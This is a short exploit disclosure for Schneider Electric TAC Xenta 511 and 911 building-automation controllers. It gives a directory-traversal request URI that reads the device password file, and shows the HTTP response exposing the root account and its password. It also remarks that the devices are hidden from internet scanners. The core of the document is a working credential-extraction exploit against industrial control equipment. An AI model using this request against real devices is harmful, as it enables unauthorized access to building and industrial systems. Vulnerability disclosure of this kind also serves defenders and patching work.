# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
# Date: 25.05.2018
# Exploit Author: Marek Cybul
# Vendor Homepage:
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
# Version: 5.17
 
# Schneider Electric TAC Xenta 911 and 511 PLCs
 
Directory traversal in help manuals allows for credentials extraction
 
Devices are not indexed by crawlers like Shodan or Censys due to
ancient SSL configuration,
needed to use old browser to support it (not even s_client, curl or
ncat could connect).
 
 
Example URI: /www/help/public/../../../sys/pswd
 
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
 
HTTP/1.0 200 OK
 
root
super user
/
/
/
password
0
900
3